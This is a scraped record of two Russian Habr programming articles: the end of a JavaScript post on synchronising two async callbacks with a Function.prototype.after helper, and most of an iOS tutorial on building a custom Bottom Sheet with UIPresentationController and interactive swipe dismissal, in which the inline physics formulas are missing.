> asyncFsAccess( file, process.fs);
> asyncDbAccess(query, process.db);
>
> ```
>
**Обычно поступают по одному из следующих вариантов:**
Авось повезет
-------------
Обычно такое могут сделать только люди, которые совершенно не понимают ассинхронные вызовы. Как-то так:
```
var fileData = null;
asyncFsAccess( file, function (data) {
fileData = data;
});
asyncDbAccess(query, function (dbData) {
processFsAndDb(fileData, dbData);
});
```
Представим, что обращение с файловой системой чуть затормозилось и запрос от базы пришёл быстрее. Тогда в fileData ничего не будет, хотя мы просто не длождались этих данных! Печально…
Фиг с ним, подожду
------------------
Другой вариант — как минимум надежный. Совершаем один запрос, ждем пока он завершится, совершаем второй запрос.
```
asyncFsAccess( file, function (fileData) {
asyncDbAccess(query, function (dbData) {
processFsAndDb(fileData, dbData);
});
});
```
Это лучше, чем надежда на лучшее, но тут мы жертвуем временем — база бы могла уже искать, пока происходит обращение к файловой системе, а нет — приходится сидеть, сложа руки, ждать. А, в случае с аджаксом, пользователь будет ждать ответ в два раза дольше. Нехорошо
7 раз проверь
-------------
Система флагов или проверка переменных. После каждого запроса отмечаем флаг, соответствующий ему и, если все флаги отмечены — выполняем. самый правильный вариант.
```
var fileData = dbData = null;
asyncFsAccess( file, function (data) {
fileData = data;
if (fileData && dbData)
processFsAndDb(fileData, dbData);
});
asyncDbAccess(query, function (data) {
dbData = data;
if (fileData && dbData)
processFsAndDb(fileData, dbData);
});
```
Но не очень красивый. Код повторяется, флаги надо дописывать во много мест. Если надо послать три одновременных запроса — будет дофига текст
7 раз проверь ++
----------------
```
var fileData = dbData = null;
var process = function () {
if (fileData && dbData)
processFsAndDb(fileData, dbData);
};
asyncFsAccess( file, function (data) {
fileData = data;
process();
});
asyncDbAccess(query, function (data) {
dbData = data;
process();
});
```
Так лучше, но тоже не очень приятно. Флаги повторяются 4 раза (посчитайте количество переменных fileData)
Мой вариант, расширяем прототип
-------------------------------
Код, в результате, такой:
```
var process = function (args) {
processFsAndDb(args.fs, args.db);
}.after('fs', 'db');
asyncFsAccess( file, process['fs']);
asyncDbAccess(query, process['db']);
```
Или, даже, такой:
```
var process = processFsAndDb.after('fs', 'db');
asyncFsAccess( file, process.fs);
asyncDbAccess(query, process.db);
```
По сути мы воспользуемся вариантом с флагами, но абстрагируем его под методом, который добавим в прототип функции:
```
Function.prototype.after = function () {
/**
* @var onReady - это наша ф-ция, которая будет выпонлятся по завершению всех вызовов
* @var after - это хэш функций, которые должны быть выполнены.
* именно его свойства мы передаём как колбеки (process.fs и process.db)
* @var ready - здесь мы будем хранить ответы каждой функции и когда все ключи,
* которые есть в after будут и тут - значит, пора вызывать onReady
*/
var onReady = this, after = {}, ready = {};
var checkReady = function () {
for (var i in after) if (!(i in ready)) return;
onReady(ready);
};
for (var i = 0, l = arguments.length; i < l; i++) {
(function (key) {
after[key] = function () {
ready[key] = arguments;
checkReady();
};
})(arguments[i]);
}
return after;
};
```
Думаю, это достаточно удобный и красивый способ для такой редкой, но важной задачи.
|
https://habr.com/ru/post/108298/
| null |
ru
| null |
# Bottom Sheet, перейдём на «ты»?
Bottom Sheet представлялся мне сложным и недосягаемым. Это был вызов! Я не понимал, с чего начать. Возникало много вопросов: использовать view или view controller? Auto или manual layout? Как анимировать? Как скрывать Bottom Sheet интерактивно?
Но всё изменилось после работы над Bottom Sheet для приложения Joom, где он используется повсеместно. В том числе и в таких критических сценариях, как оплата. Так что могу точно сказать, что в этом компоненте мы уверены. Настолько уверены, что я даже [рассказывал](https://youtu.be/4VLYzbrKe7c) о нём на Podlodka iOS crew #7. В рамках воркшопа я показал, как сделать Bottom Sheet, который умеет подстраиваться под размер контента, интерактивно закрывается и поддерживает *UINavigationController.*
Стоп, но Apple же [предоставила](https://developer.apple.com/videos/play/wwdc2021/10063/) системный [Bottom Sheet](https://developer.apple.com/design/human-interface-guidelines/ios/views/sheets/). Зачем писать свой? Действительно, это так, но компонент поддерживается только с iOS 15. А это значит, что полноценно его можно будет использовать только через 2-3 года. К тому же часто требования дизайнеров выходят за рамки стандартных iOS-элементов.
В рамках статьи хочу развеять туман над Bottom Sheet, ответить на вопросы, которыми задавался я сам и предложить один из вариантов реализации. Чтобы в конце вы могли добавить в резюме строчку «Профессионально делаю Bottom Sheet'ы».
Если заинтересовал, то начнём! Создадим простой Bottom Sheet и шаг за шагом его прокачаем.
1. Научимся подстраиваться под размер контента и закрывать Bottom Sheet.
2. Добавим интерактивное закрытие, учитывая контент, который скроллится.
3. Поддержим *UINavigationController* с навигацией внутри Bottom Sheet.
### Часть 1. Адаптируемся под размер контента. Закрываем Bottom Sheet. Базовый дизайн
Сперва убедимся, что мы понимаем под "Bottom Sheet" одно и то же. Bottom Sheet - это компонент, который располагается снизу и адаптируется под размер контента. Примеры использования есть в системных приложениях: [Apple Maps](https://apps.apple.com/us/app/apple-maps/id915056765) (поиск), [Stocks](https://apps.apple.com/us/app/stocks/id1069512882) (новости), [Voice Memos](https://apps.apple.com/us/app/voice-memos/id1069512134) (запись голоса) и т.д.
Apple Maps, Stocks, Voice Memos### Стартовый проект
Вот ссылка на стартовый проект на [Github](https://github.com/joomcode/BottomSheet). В проекте есть два таргета: *BottomSheetDemo* и *BottomSheet* — приложение и библиотека с Bottom Sheet.
Структура проекта
```
BottomSheetDemo
Sources/User Interface
Screens
Resize
ResizeViewController.swift
Root
RootViewController.swift
BottomSheet
Core
BottomSheetModalDismissalHandler.swift
BottomSheetPresentationController.swift
BottomSheetPresentationController+PullBar.swift
BottomSheetTransitioningDelegate.swift
Helpers
...
```
*RootViewController* — это первый экран в приложении. В нём есть всего одна кнопка Show Bottom Sheet. По нажатию покажется *ResizeViewController.*
```
@objc
private func handleShowBottomSheet() {
let viewController = ResizeViewController(initialHeight: 300)
present(viewController, animated: true, completion: nil)
}
```
В инициализаторе *ResizeViewController* принимает высоту контента. Также есть четыре кнопки, которые изменяют высоту контента: на +100 и -100, в 2 и 0.5 раз.
Запустим приложение.
### Теория. Как показывать Bottom Sheet?
Нам нужна сущность, которая будет управлять показом. Она добавит Bottom Sheet в UI-иерархию, расположит его на экране, учтёт размер контента, будет реагировать на его изменения, позаботится об анимации, и можно будет сделать интерактивное закрытие.
Это похоже на зону ответственности [UIPresentationController](https://developer.apple.com/documentation/uikit/uipresentationcontroller). С момента появления view controller'а и до момента скрытия, UIKit использует presentation controller для управления процессом показа.
Для его использования надо переопределить [modalPresentationStyle](https://developer.apple.com/documentation/uikit/uiviewcontroller/1621355-modalpresentationstyle) и передать presentation controller через [transitioningDelegate](https://developer.apple.com/documentation/uikit/uiviewcontroller/1621421-transitioningdelegate).
Вооружившись этим знанием, начнём делать Bottom Sheet!
### Создадим presentation controller
Для показа Bottom Sheet переопределим *modalPresentationStyle* и *transitioningDelegate*. Не забываем, что *transitioningDelegate* — это weak ссылка, и нам понадобится strong ссылка, чтобы не потерять объект.
```
private var bottomSheetTransitioningDelegate: UIViewControllerTransitioningDelegate?
@objc
private func handleShowBottomSheet() {
let viewController = ResizeViewController(initialHeight: 300)
// TODO: bottomSheetTransitioningDelegate = ...
viewController.modalPresentationStyle = .custom
viewController.transitioningDelegate = bottomSheetTransitioningDelegate
present(viewController, animated: true, completion: nil)
}
```
Создадим BottomSheetTransitioningDelegate — реализацию *transitioningDelegate.*
```
public final class BottomSheetTransitioningDelegate: NSObject, UIViewControllerTransitioningDelegate {
private func _presentationController(
forPresented presented: UIViewController,
presenting: UIViewController?,
source: UIViewController
) -> BottomSheetPresentationController {
BottomSheetPresentationController(
presentedViewController: presented,
presenting: presenting
)
}
}
```
И presentation controller.
```
public final class BottomSheetPresentationController: UIPresentationController {}
```
Наконец вернёмся в *RootViewController* и закроем TODO.
```
// TODO: bottomSheetTransitioningDelegate = ...
bottomSheetTransitioningDelegate = BottomSheetTransitioningDelegate()
```
Давайте запустим приложение.
Как будто стало только хуже. View controller открывается во весь экран и скрывается за status bar. Мы переопределили системный presentation controller, который показывал view controller красиво, позиционировал его с учетом safeArea. В нашем presentation controller ничего подобного нет, мы никак не указываем положение view controller, давайте исправимся.
### Учитываем размер контента
Вернёмся к *ResizeViewController.* Поле *currentHeight* отвечает за текущую высоту. Чтобы не создавать лишних протоколов, используем [preferredContentSize](https://developer.apple.com/documentation/uikit/uiviewcontroller/1621476-preferredcontentsize). Он будет показывать текущий желаемый размер для Bottom Sheet.
В presentation controller переопределим *frameOfPresentedViewInContainerView*, который отвечает за положение *presentedView*. В нашем случае *presentedView* — это view *ResizeViewController*. *containerView* — это view, которая содержит *presentedView* и куда можно добавить, например, тень.
```
public override var frameOfPresentedViewInContainerView: CGRect {
targetFrameForPresentedView()
}
private func targetFrameForPresentedView() -> CGRect {
guard let containerView = containerView else {
return .zero
}
let windowInsets = presentedView?.window?.safeAreaInsets ?? .zero
let preferredHeight = presentedViewController.preferredContentSize.height + windowInsets.bottom
let maxHeight = containerView.bounds.height - windowInsets.top
let height = min(preferredHeight, maxHeight)
return .init(
x: 0,
y: (containerView.bounds.height - height).pixelCeiled,
width: containerView.bounds.width,
height: height.pixelCeiled
)
}
```
Дополнительно укажем *shouldPresentInFullscreen* в *false*, потому что Bottom Sheet покрывает не весь экран.
```
public override var shouldPresentInFullscreen: Bool {
false
}
```
Посмотрим, что получилось.
Изначальный размер учитывается, но нет реакции на его изменения.
### Реагируем на изменение контента
Рассмотрим *UIPresentationController*. Он реализует [UIContentContainer](https://developer.apple.com/documentation/uikit/uicontentcontainer), в котором нам интересен *preferredContentSizeDidChange(forChildContentContainer:)*, который вызывается при изменениях *preferredContentSize* в дочерних view controller'ах.
```
public override func preferredContentSizeDidChange(forChildContentContainer container: UIContentContainer) {
updatePresentedViewSize()
}
private func updatePresentedViewSize() {
guard let presentedView = presentedView else {
return
}
let oldFrame = presentedView.frame
let targetFrame = targetFrameForPresentedView()
if !oldFrame.isAlmostEqual(to: targetFrame) {
presentedView.frame = targetFrame
}
}
```
Проверяем текущий frame и тот, который мы считаем правильным. Если они разные, то обновляем *presentedView.frame.* Запустим приложение.
Размер изменяется неравномерно без анимации. Почему? Потому что мы никак не указываем эту анимацию. Добавим анимацию на изменения *preferredContentSize* в *ResizeViewController.*
```
UIView.animate(
withDuration: 0.25,
animations: { [self] in
preferredContentSize = CGSize(
width: UIScreen.main.bounds.width,
height: newValue
)
}
)
```
Проверяем.
Работает! Но мы никак не можем уйти с Bottom Sheet.
### Закрываем Bottom Sheet
Для закрытия добавим тень и по нажатию будем скрывать Bottom Sheet. Создадим обработчик закрытия, через который presentation controller будет сообщать, что готов, чтобы его закрыли.
```
public protocol BottomSheetModalDismissalHandler {
func performDismissal(animated: Bool)
}
```
Передаём его в инициализатор presentation controller.
```
private let dismissalHandler: BottomSheetModalDismissalHandler
public init(
presentedViewController: UIViewController,
presentingViewController: UIViewController?,
dismissalHandler: BottomSheetModalDismissalHandler
) {
self.dismissalHandler = dismissalHandler
super.init(presentedViewController: presentedViewController, presenting: presentingViewController)
}
```
Для удобства создадим фабрику presentation controller'а.
```
public protocol BottomSheetPresentationControllerFactory {
func makeBottomSheetPresentationController(
presentedViewController: UIViewController,
presentingViewController: UIViewController?
) -> BottomSheetPresentationController
}
```
Которая будет использоваться внутри *BottomSheetTransitioningDelegate.*
```
private let factory: BottomSheetPresentationControllerFactory
public init(factory: BottomSheetPresentationControllerFactory) {
self.factory = factory
}
public func presentationController(
forPresented presented: UIViewController,
presenting: UIViewController?,
source: UIViewController
) -> UIPresentationController? {
factory.makeBottomSheetPresentationController(
presentedViewController: presented,
presentingViewController: presenting
)
}
```
В *RootViewController* реализуем фабрику и обработчик закрытия. Скрываем *presentedViewController*, потому что это и есть Bottom Sheet.
```
extension RootViewController: BottomSheetPresentationControllerFactory {
func makeBottomSheetPresentationController(
presentedViewController: UIViewController,
presentingViewController: UIViewController?
) -> BottomSheetPresentationController {
.init(
presentedViewController: presentedViewController,
presentingViewController: presentingViewController,
dismissalHandler: self
)
}
}
extension RootViewController: BottomSheetModalDismissalHandler {
func performDismissal(animated: Bool) {
presentedViewController?.dismiss(animated: animated, completion: nil)
}
}
```
Теперь в presentation controller'е сконфигурируем тень с обработчиком скрытия. Добавляем тень перед началом транзишена и убираем после окончания.
Для начала нам понадобится отслеживать состояние presentation controller. Введём поле state, которое будет отвечать за текущее состояние Bottom Sheet. Для отслеживания состояния переопределим методы жизненного цикла транзишена.
Жизненный цикл presentation controller
```
// MARK: - Nested types
private enum State {
case dismissed
case presenting
case presented
case dismissing
}
// MARK: - Private properties
private var state: State = .dismissed
// MARK: - UIPresentationController
public override func presentationTransitionWillBegin() {
state = .presenting
}
public override func presentationTransitionDidEnd(_ completed: Bool) {
if completed {
state = .presented
} else {
state = .dismissed
}
}
public override func dismissalTransitionWillBegin() {
state = .dismissing
}
public override func dismissalTransitionDidEnd(_ completed: Bool) {
if completed {
state = .dismissed
} else {
state = .presented
}
}
```
Далее возникает вопрос, в какой момент добавлять и удалять тень. Добавлять тень будем перед показом Bottom Sheet, а удалять — сразу после скрытия Bottom Sheet.
```
public override func presentationTransitionWillBegin() {
state = .presenting
addSubviews()
}
public override func dismissalTransitionDidEnd(_ completed: Bool) {
if completed {
removeSubviews()
state = .dismissed
} else {
state = .presented
}
}
```
Остаётся реализовать *addSubviews()* и *removeSubviews().*
Добавляем и удаляем тень — addSubviews() и removeSubviews()
```
private func addSubviews() {
guard let containerView = containerView else {
assertionFailure()
return
}
setupShadingView(containerView: containerView)
}
private func setupShadingView(containerView: UIView) {
let shadingView = UIView()
containerView.addSubview(shadingView)
shadingView.backgroundColor = UIColor.black.withAlphaComponent(0.6)
shadingView.frame = containerView.bounds
let tapGesture = UITapGestureRecognizer()
shadingView.addGestureRecognizer(tapGesture)
tapGesture.addTarget(self, action: #selector(handleShadingViewTapGesture))
self.shadingView = shadingView
}
@objc
private func handleShadingViewTapGesture() {
dismissIfPossible()
}
private func removeSubviews() {
shadingView?.removeFromSuperview()
shadingView = nil
}
private func dismissIfPossible() {
let canBeDismissed = state == .presented
if canBeDismissed {
dismissalHandler.performDismissal(animated: true)
}
}
```
Посмотрим, что получилось.
Отлично, теперь у нас добавляется тень, и по нажатию Bottom Sheet закрывается! Но тень появляется и исчезает без анимации.
### Анимированный транзишен
Как быть? Тень относится к транзишену и должна анимироваться вместе с ним. Поэтому нам нужно встроиться в transitioning delegate.
Реализуем протокол [UIViewControllerAnimatedTransitioning](https://developer.apple.com/documentation/uikit/uiviewcontrolleranimatedtransitioning), в котором будет логика для анимированного поднимания и опускания шторки. Ровно такая же, как и у системы, но дополнительно добавим fade-анимацию для тени.
Поднимаем и опускаем шторку через animated transitioningДля простоты реализуем протокол внутри presentation controller, потому что у него уже есть доступ к нужным UI-элементам.
```
extension BottomSheetPresentationController: UIViewControllerAnimatedTransitioning {
public func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
0.3
}
public func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
guard
let sourceViewController = transitionContext.viewController(forKey: .from),
let destinationViewController = transitionContext.viewController(forKey: .to),
let sourceView = sourceViewController.view,
let destinationView = destinationViewController.view
else {
return
}
let isPresenting = destinationViewController.isBeingPresented
let presentedView = isPresenting ? destinationView : sourceView
let containerView = transitionContext.containerView
if isPresenting {
containerView.addSubview(destinationView)
destinationView.frame = containerView.bounds
}
sourceView.layoutIfNeeded()
destinationView.layoutIfNeeded()
let frameInContainer = frameOfPresentedViewInContainerView
let offscreenFrame = CGRect(
origin: CGPoint(
x: 0,
y: containerView.bounds.height
),
size: sourceView.frame.size
)
presentedView.frame = isPresenting ? offscreenFrame : frameInContainer
pullBar?.frame.origin.y = presentedView.frame.minY - Style.pullBarHeight + pixelSize
shadingView?.alpha = isPresenting ? 0 : 1
let animations = {
presentedView.frame = isPresenting ? frameInContainer : offscreenFrame
self.pullBar?.frame.origin.y = presentedView.frame.minY - Style.pullBarHeight + pixelSize
self.shadingView?.alpha = isPresenting ? 1 : 0
}
let completion = { (completed: Bool) in
transitionContext.completeTransition(completed && !transitionContext.transitionWasCancelled)
}
let options: UIView.AnimationOptions = transitionContext.isInteractive ? .curveLinear : .curveEaseInOut
let transitionDurationValue = transitionDuration(using: transitionContext)
UIView.animate(withDuration: transitionDurationValue, delay: 0, options: options, animations: animations, completion: completion)
}
}
```
И не забудем реализовать соответствующие методы в *BottomSheetTransitioningDelegate.*
```
// MARK: - UIViewControllerTransitioningDelegate
public func animationController(
forPresented presented: UIViewController,
presenting: UIViewController,
source: UIViewController
) -> UIViewControllerAnimatedTransitioning? {
presentationController
}
public func animationController(
forDismissed dismissed: UIViewController
) -> UIViewControllerAnimatedTransitioning? {
presentationController
}
```
Убедимся, что анимация появилась.
Остаётся добавить закругленные края, и наш Bottom Sheet готов!
### Закругляем края
Через *cornerRadius* у *presentedViewController* в presentation controller. Нам нужно сделать это перед началом транзишена в *presentationTransitionWillBegin().*
```
private func applyStyle() {
guard presentedViewController.isViewLoaded else { return }
presentedViewController.view.clipsToBounds = true
presentedViewController.view.layer.cornerRadius = cornerRadius
}
```
Следим за углами.
Закругленные! Теперь Bottom Sheet соответствует дизайну!
### Что мы сделали в первой части?
1. Переопределили системный transitioning delegate.
2. Создали presentation controller.
3. Добавили тень для скрытия Bottom Sheet через dismiss handler.
4. Реализовали анимированный транзишен через transitioning delegate.
5. Поддержали базовый дизайн.
Часть 2. Интерактивное закрытие Bottom Sheet
--------------------------------------------
### Стартовый проект
Как и в первой части начинаем со [стартового проекта](https://github.com/joomcode/BottomSheet/tree/feature/part-2). К проекту добавился pull bar, который подскажет пользователю, что Bottom Sheet можно скрыть не только по нажатию в пустое пространство, но ещё и по swipe-жесту. Так же в ResizeViewController появился scrollView во весь экран. Он нам пригодится для списочных экранов. Остальное из первой части.
Запустим приложение.
### Теория. Особенности интерактивного закрытия
Используем *UISwipeGestureRecognizer* для распознания swipe-жеста. По нему будем начинать закрытие Bottom Sheet.
Но что, если у presented controller уже есть такой жест? Тогда это может приводить к конфликту жестов, потому что непонятно, какой обрабатывать первым.
Но так ли часто у presented controller может быть такой жест? На самом деле постоянно. В современном приложении 99 % экранов списочные. Это означает, что в каждом есть *UIScrollView* или его наследники: *UITableView* или *UICollectionView*, в которых есть тот самый жест. Как же быть?
Давайте разберём два случая, когда *UIScrollView* нет и он есть.
1. Если нет, то всё просто — добавляем swipe-жест.
2. Если есть, то **контент может помещаться**:
1. **Полностью**. Тогда размер Bottom Sheet меньше экрана, и будем закрывать Bottom Sheet сразу по swipe-жесту.
2. **Частично**. Тогда swipe может означать так же и скроллинг. Будем считать, что пользователь хочет закрыть Bottom Sheet по swipe'у вниз и, когда контент закончился сверху (нулевой *contentOffset*).
В случае наличия *UIScrollView* подписываем на изменения *contentOffset,* и по ним понимаем, в какой момент можно начинать интерактивное закрытие.
По механике договорились, давайте её реализуем.
### Если UIScrollView нет
То добавляем pan gesture к *presentedView*. В какой момент это делать? Жест инициирует интерактивное закрытие. А Bottom Sheet может быть закрыт, только если он полностью на экране. Поэтому разумно добавлять жест на окончание показа в *presentationTransitionDidEnd(\_:).*
```
public override func presentationTransitionDidEnd(_ completed: Bool) {
if completed {
setupGesturesForPresentedView()
state = .presented
} else {
state = .dismissed
}
}
private func setupGesturesForPresentedView() {
setupPanGesture(for: presentedView)
}
```
И напишем функцию, которая добавляет pan gesture заданной view.
```
private func setupPanGesture(for view: UIView?) {
guard let view = view else { return }
let panRecognizer = UIPanGestureRecognizer(target: self, action: #selector(handlePanGesture(_:)))
view.addGestureRecognizer(panRecognizer)
}
@objc
private func handlePanGesture(_ panGesture: UIPanGestureRecognizer) {
switch panGesture.state {
case .began:
processPanGestureBegan(panGesture)
case .changed:
processPanGestureChanged(panGesture)
case .ended:
processPanGestureEnded(panGesture)
case .cancelled:
processPanGestureCancelled(panGesture)
default:
break
}
}
```
Разберём каждое состояние жеста.
**began** — пользователь только-только начал движение пальца и жест был определен, как pan gesture. Инициируем закрытие Bottom Sheet.
**changed** — пользователь непрерывно ведёт пальцем по экрану. Скрываем Bottom Sheet пропорционально расстоянию, которое прошёл палец по экрану.
**ended** — пользователь отпустил палец с экрана. Принимаем решение, закрывать Bottom Sheet или возвращать его в исходное положение.
**cancelled** — жест был отменён. Возвращаем Bottom Sheet в исходное состояние.
Дополнительно будем использовать *UIPercentDrivenInteractiveTransition* для передачи состояния транзишена transitioning delegate'у.
```
// BottomSheetPresentationController.swift
private var interactionController: UIPercentDrivenInteractiveTransition?
```
Начнём с состояния **began**. Это подходящий момент для инициализации интерактивного закрытия, потому что это состояние происходит всего один раз. Так же вызываем dismiss у *presentingViewController* для уведомления UIKit о намерении закрыть Bottom Sheet.
```
private func processPanGestureBegan(_ panGesture: UIPanGestureRecognizer) {
startInteractiveTransition()
}
private func startInteractiveTransition() {
interactionController = UIPercentDrivenInteractiveTransition()
presentingViewController.dismiss(animated: true) { [weak self] in
guard let self = self else { return }
if self.presentingViewController.presentedViewController !== self.presentedViewController {
self.dismissalHandler.performDismissal(animated: true)
}
}
}
```
Далее — состояние **changed**. Изменяем позицию *presentedView* пропорционально движению пальца по экрану. Рассчитываем расстояние от начальной точки, где жест начался, до текущей. Далее вычисляем прогресс транзишена относительно высоты content view controller, т.е. *presentedView.*
```
private func processPanGestureChanged(_ panGesture: UIPanGestureRecognizer) {
let translation = panGesture.translation(in: nil)
updateInteractionControllerProgress(verticalTranslation: translation.y)
}
private func updateInteractionControllerProgress(verticalTranslation: CGFloat) {
guard let presentedView = presentedView else { return }
let progress = verticalTranslation / presentedView.bounds.height
interactionController?.update(progress)
}
```
Когда пользователь отпустил палец, то жест переходит в состояние **ended**. Нужно определить намерение пользователя: скролл контента или желание закрыть Bottom Sheet. Если пользователь резко опустил палец вниз, пройдя минимальное расстояние, то скорее всего он хотел закрыть Bottom Sheet. Возможна и другая ситуация, если пользователь прошел большое расстояние по экрану и в последний момент с ускорением отпустил палец с экрана вверх. В такой ситуации Bottom Sheet должен вернуться в исходную позицию. Это наводит на мысли о расчёте некого импульса движения, который учитывает ускорение и направление.
Немного физики. Представим, что есть некое тело, которое двигается с постоянной скоростью . Дальше на него подействовало замедление  на расстоянии . Вопрос — где остановится тело?
Вывод формулы расстояния для тела с замедлениемНапишем формулу для скорости 
С отрицательным ускорением скорость станет нулевой, обозначим этот момент времени . Подставим в формулу скорости:
Далее подставим в формулу расстояния 
Окончательно получим формулу для расстояния , где — начальное положение тела, — начальная скорость и — замедление.
Примем Bottom Sheet за тело из задачи выше, когда жест закончился. Через pan gesture узнаем текущую скорость. Пройденное расстояние у нас есть. Замедление подбираем и принимаем за константу . Зная формулу для расстояния , рассчитаем, где остановится Bottom Sheet под замедлением. Если точка остановки ближе к начальному положению, то отменяем транзишен, иначе завершаем его.
```
private func processPanGestureEnded(_ panGesture: UIPanGestureRecognizer) {
let velocity = panGesture.velocity(in: presentedView)
let translation = panGesture.translation(in: presentedView)
endInteractiveTransition(verticalVelocity: velocity.y, verticalTranslation: translation.y)
}
private func endInteractiveTransition(verticalVelocity: CGFloat, verticalTranslation: CGFloat) {
guard let presentedView = presentedView else { return }
let deceleration = 800.0 * (verticalVelocity > 0 ? -1.0 : 1.0)
let finalProgress = (verticalTranslation - 0.5 * verticalVelocity * verticalVelocity / CGFloat(deceleration))
/ presentedView.bounds.height
let isThresholdPassed = finalProgress < 0.5
endInteractiveTransition(isCancelled: isThresholdPassed)
}
private func endInteractiveTransition(isCancelled: Bool) {
if isCancelled {
interactionController?.cancel()
} else {
interactionController?.finish()
}
interactionController = nil
}
```
И если жест отменился **cancelled**, то возвращаемся в исходное положение.
```
private func processPanGestureCancelled(_ panGesture: UIPanGestureRecognizer) {
endInteractiveTransition(isCancelled: true)
}
```
Также не забудем вернуть *interactiveTransitioning* в transitioning delegate.
Возвращаем interactiveTransitioning в transitioning delegate
```
// BottomSheetPresentationController.swift
var interactiveTransitioning: UIViewControllerInteractiveTransitioning? {
interactionController
}
// BottomSheetTransitioningDelegate.swift
public func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
presentationController?.interactiveTransitioning
}
public func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
presentationController?.interactiveTransitioning
}
```
Запустим приложение и посмотрим, что получилось.
Вжух-вжух, и мы научили Bottom Sheet закрываться по свайпу вниз! Однако, если контент больше экрана, то scrollView перехватывает жесты.
### Разбираем списочные экраны
Несмотря на то, что до этого *ResizeViewController* и так был списочным, это не помешало нам добавить pan gesture. Всё потому, что у scrollView нет скролла, когда *contentSize* равен его размеру.
Поэтому рассмотрим случай, когда *contentSize* больше размера Bottom Sheet, и скролл есть. Подписываемся на *contentOffset*. Если *contentOffset* нулевой, и пользователь скроллит вниз, то инициируем закрытие. Когда пользователь отпускает палец с экрана, то решаем отменить или закончить транзишен, как и раньше. Если *contentOffset* изменяется и пользователь не касается экрана, то ничего не делаем. Это значит, что скролл происходит по инерции.
Для начала нам понадобится признак, который подскажет, что у view controller есть scrollView. Введём для этого протокол.
```
public protocol ScrollableBottomSheetPresentedController: AnyObject {
var scrollView: UIScrollView? { get }
}
```
Для отслеживания изменений *contentOffset* подписываемся на [UIScrollViewDelegate](https://developer.apple.com/documentation/uikit/uiscrollviewdelegate). Но что, если кто-то уже подписался на delegate *UIScrollView*? Тогда мы затрём предыдущий *delegate.*
Поэтому будем использовать [прокси на UIScrollViewDelegate](https://github.com/joomcode/BottomSheet/blob/main/Sources/BottomSheet/Helpers/Utils/UIScrollView%2BMulticastDelegate.swift). Идейно *MulticastDelegate* реализует *UIScrollViewDelegate* и проксирует методы delegate заинтересованным сторонам. При этом заботится, чтобы поле *delegate* не затиралось. В Swift нам приходится определять каждый метод delegate. В Objective-C можно добиться аналогичного результата без реализации всех методов delegate через runtime.
Подписываемся на *delegate* после окончания транзишена в *presentationTransitionDidEnd(\_:)*, как и с pan gesture.
```
private var trackedScrollView: UIScrollView?
private func setupScrollTrackingIfNeeded() {
trackScrollView(inside: presentedViewController)
}
private func trackScrollView(inside viewController: UIViewController) {
guard
let scrollableViewController = viewController as? ScrollableBottomSheetPresentedController,
let scrollView = scrollableViewController.scrollView
else {
return
}
trackedScrollView?.multicastingDelegate.removeDelegate(self)
scrollView.multicastingDelegate.addDelegate(self)
self.trackedScrollView = scrollView
}
private func removeScrollTrackingIfNeeded() {
trackedScrollView?.multicastingDelegate.removeDelegate(self)
trackedScrollView = nil
}
```
Дальше реализуем *UIScrollViewDelegate.*
Вспомогательные переменные и хелперы UIScrollView
```
private var isInteractiveTransitionCanBeHandled: Bool {
isDragging
}
private var isDragging = false
private var overlayTranslation: CGFloat = 0
private var scrollViewTranslation: CGFloat = 0
private var lastContentOffsetBeforeDragging: CGPoint = .zero
private var didStartDragging = false
```
И хелперы *UIScrollView.*
```
private extension UIScrollView {
var scrollsUp: Bool {
panGestureRecognizer.velocity(in: nil).y < 0
}
var scrollsDown: Bool {
!scrollsUp
}
var isContentOriginInBounds: Bool {
contentOffset.y <= -adjustedContentInset.top
}
}
```
Начнём с касания экрана *scrollViewWillBeginDragging(:\_)*. В этот момент пользователь только-только начал swipe-жест. Запоминаем это состояние через флаг *isDragging.*
```
public func scrollViewWillBeginDragging(_ scrollView: UIScrollView) {
isDragging = true
}
```
Далее рассмотрим вспомогательную функцию *shouldDragOverlay(following:)*, в которой определяем, нужно ли обновить прогресс транзишена.
```
private func shouldDragOverlay(following scrollView: UIScrollView) -> Bool {
guard scrollView.isTracking, isInteractiveTransitionCanBeHandled else {
return false
}
if let percentComplete = interactionController?.percentComplete {
if percentComplete.isAlmostEqual(to: 0) {
return scrollView.isContentOriginInBounds && scrollView.scrollsDown
}
return true
} else {
return scrollView.isContentOriginInBounds && scrollView.scrollsDown
}
}
```
Проверяем, что пользователь сейчас ведёт пальцем по экрану. Если так, то разбираемся, было ли инициировано закрытие.
Если закрытие инициировано и мы где-то посередине транзишена, то продолжаем дальше. Если мы только-только инициировали закрытие, то проверяем, что скролл направлен вниз и контент находится сверху через *isContentOriginInBounds*. Если мы в начале транзишена, то также проверяем, что скролл направлен вниз и контент сверху.
Дальше разберём, когда *contentOffset* изменяется и вызывается *scrollViewDidScroll(:\_).*
```
public func scrollViewDidScroll(_ scrollView: UIScrollView) {
let previousTranslation = scrollViewTranslation
scrollViewTranslation = scrollView.panGestureRecognizer.translation(in: scrollView).y
didStartDragging = shouldDragOverlay(following: scrollView)
if didStartDragging {
startInteractiveTransitionIfNeeded()
overlayTranslation += scrollViewTranslation - previousTranslation
// Update scrollView contentInset without invoking scrollViewDidScroll(_:)
scrollView.bounds.origin.y = -scrollView.adjustedContentInset.top
updateInteractionControllerProgress(verticalTranslation: overlayTranslation)
} else {
lastContentOffsetBeforeDragging = scrollView.panGestureRecognizer.translation(in: scrollView)
}
}
private func startInteractiveTransitionIfNeeded() {
guard interactionController == nil else { return }
startInteractiveTransition()
}
```
*startInteractiveTransitionIfNeeded()* — инициирует интерактивный транзишен, если мы это ещё не сделали.
В *scrollViewDidScroll(\_:)* проверяем, можем ли мы продолжить (начать) интерактивный транзишен. Если можем, то инициируем транзишен через *startInteractiveTransitionIfNeeded().* Если не можем, то запоминаем последний *contentOffset* перед активацией транзишена. Он пригодится дальше.
> Помните, как на собеседованиях спрашивали, когда *bounds.origin* ненулевой? Вероятно, ответ был «когда *contentOffset* у *scrollView* ненулевой». Но было непонятно, как это можно использовать на практике, правда? Ниже хорошая возможность оправдать наличие этого знания!
>
>
Далее убедимся, что контент прибит к верху, и приравняем *contentInset* к *contentOffset*. Измененяем *contentOffset* через *bounds.origin*, чтобы не вызывать *scrollViewDidScroll(\_:)*. В конце обновляем прогресс транзишена.
